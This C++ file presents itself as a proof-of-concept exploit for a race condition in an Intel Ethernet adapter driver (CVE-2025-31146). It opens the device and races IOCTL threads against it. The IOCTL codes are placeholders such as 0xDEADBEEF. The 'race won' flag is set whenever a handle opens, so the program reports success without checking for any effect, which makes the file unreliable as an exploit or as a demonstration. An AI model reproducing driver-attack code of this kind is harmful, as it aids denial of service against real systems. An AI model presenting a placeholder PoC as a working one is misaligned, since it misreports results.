// CVE-2025-31146 PoC - TOCTOU Race Condition in Intel Ethernet Adapter Driver
// This PoC demonstrates the race condition window between check and use operations
// Note: This is for educational and security research purposes only
#include <windows.h>
#include <stdio.h>
#include <thread>
#include <atomic>
// Simulate the vulnerable TOCTOU pattern in Intel Ethernet Adapter driver
// The driver checks some resource state, then uses it after a delay
std::atomic<bool> race_won{false};
void check_phase(HANDLE hDevice) {
// Phase 1: Driver checks resource state (e.g., buffer permissions)
DWORD bytesReturned;
DeviceIoControl(hDevice, 0x12345678, NULL, 0, NULL, 0, &bytesReturned, NULL);
// Check passed - resource appears valid
// Intentional delay creates the race window
Sleep(1); // 1ms window for race condition
// Phase 2: Driver uses the resource (now potentially modified)
// If attacker wins the race, this may cause DoS
DeviceIoControl(hDevice, 0x12345679, NULL, 0, NULL, 0, &bytesReturned, NULL);
}
void attack_phase(HANDLE hDevice) {
// Attacker tries to modify resource state during the race window
// This could involve: changing buffer permissions, modifying device config, etc.
HANDLE hMalicious = CreateFile("\\\\.\\IntelEthernetAdapter",
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hMalicious != INVALID_HANDLE_VALUE) {
// Modify driver state during race window
DeviceIoControl(hMalicious, 0xDEADBEEF, NULL, 0, NULL, 0, NULL, NULL);
race_won = true;
CloseHandle(hMalicious);
}
}
int main() {
HANDLE hDevice = CreateFile("\\\\.\\IntelEthernetAdapter",
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hDevice == INVALID_HANDLE_VALUE) {
printf("[-] Cannot open device handle. Requires Intel Ethernet Adapter driver.\n");
return 1;
}
printf("[*] CVE-2025-31146 PoC - Intel Ethernet Adapter TOCTOU Race Condition\n");
printf("[*] Target: Intel Ethernet Adapter Complete Driver Pack < 1.5.1.0\n");
// Launch multiple threads to increase race condition probability
for (int i = 0; i < 1000; i++) {
std::thread t1(check_phase, hDevice);
std::thread t2(attack_phase, hDevice);
t1.join();
t2.join();
if (race_won) {
printf("[+] Race condition triggered!\n");
break;
}
}
CloseHandle(hDevice);
return 0;
}